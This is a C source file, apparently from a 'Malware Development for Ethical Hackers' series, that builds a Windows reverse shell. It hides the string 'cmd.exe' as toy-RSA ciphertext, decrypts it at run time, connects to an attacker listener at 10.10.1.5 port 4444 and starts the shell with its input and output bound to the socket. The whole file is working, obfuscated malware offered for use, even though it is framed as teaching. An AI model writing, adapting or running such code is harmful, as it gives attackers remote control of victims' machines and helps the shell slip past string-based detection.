/*
 * Malware Development for Ethical Hackers
 * hack3.c - using prime numbers and modular arithmetic.
 * windows reverse shell string C/C++ implementation
 * author: @cocomelonc
*/
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>

// Function to check if a number is prime
int is_prime(int n) {
  if (n <= 1) {
    return 0;
  }
  for (int i = 2; i <= sqrt(n); i++) {
    if (n % i == 0) {
      return 0;
    }
  }
  return 1;
}

// Function to find the greatest common divisor (GCD) of two numbers
int gcd(int a, int b) {
  while (b != 0) {
    int temp = b;
    b = a % b;
    a = temp;
  }
  return a;
}

// Function to find a number e such that 1 < e < phi and gcd(e, phi) = 1
int find_public_exponent(int phi) {
  int e = 2;
  while (e < phi) {
    if (gcd(e, phi) == 1) {
      return e;
    }
    e++;
  }
  return -1; // Error: Unable to find public exponent
}

// Function to find the modular multiplicative inverse of a number
int mod_inverse(int a, int m) {
  for (int x = 1; x < m; x++) {
    if ((a * x) % m == 1) {
      return x;
    }
  }
  return -1; // Error: Modular inverse does not exist
}

// Function to perform modular exponentiation
int mod_pow(int base, int exp, int mod) {
  int result = 1;
  while (exp > 0) {
    if (exp % 2 == 1) {
      result = (result * base) % mod;
    }
    base = (base * base) % mod;
    exp /= 2;
  }
  return result;
}

// Function to decrypt a ciphertext
void decrypt(const int *ciphertext, int message_len, int d, int n, unsigned char *decrypted_message) {
  for (int i = 0; i < message_len; i++) {
    decrypted_message[i] = (unsigned char)mod_pow(ciphertext[i], d, n);
  }
}

int main() {
  // Step 1: Choose two large prime numbers
  int p = 61;
  int q = 53;

  // Step 2: Compute n (modulus) and phi (Euler's totient function)
  int n = p * q;
  int phi = (p - 1) * (q - 1);

  // Step 3: Choose a public exponent e
  int e = find_public_exponent(phi);

  if (e == -1) {
    printf("Error: Unable to find public exponent.\n");
    return 1;
  }

  // Step 4: Compute the private exponent d
  int d = mod_inverse(e, phi);

  if (d == -1) {
    printf("Error: Unable to compute private exponent.\n");
    return 1;
  }

  // Display public and private keys
  printf("Public Key (n, e): (%d, %d)\n", n, e);
  printf("Private Key (n, d): (%d, %d)\n", n, d);

  int message_len = 8;

  // encrypted message (cmd.exe string)
  int ciphertext[] = {24,597,2872,1137,3071,55,3071,0};

  // array to store decrypted string
  unsigned char decrypted_cmd[message_len];

  // Decrypt the message
  decrypt(ciphertext, message_len, d, n, decrypted_cmd);

  WSADATA wsaData;
  SOCKET wSock;
  struct sockaddr_in hax;
  STARTUPINFO sui;
  PROCESS_INFORMATION pi;

  // listener ip, port on attacker's machine
  char *ip = "10.10.1.5";
  short port = 4444;

  // init socket lib
  WSAStartup(MAKEWORD(2, 2), &wsaData);

  // create socket
  wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

  hax.sin_family = AF_INET;
  hax.sin_port = htons(port);
  hax.sin_addr.s_addr = inet_addr(ip);

  // connect to remote host
  WSAConnect(wSock, (SOCKADDR *)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

  memset(&sui, 0, sizeof(sui));
  sui.cb = sizeof(sui);
  sui.dwFlags = STARTF_USESTDHANDLES;
  sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)wSock;

  // start the decoded command with redirected streams
  CreateProcess(NULL, decrypted_cmd, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
  exit(0);

  return 0;
}
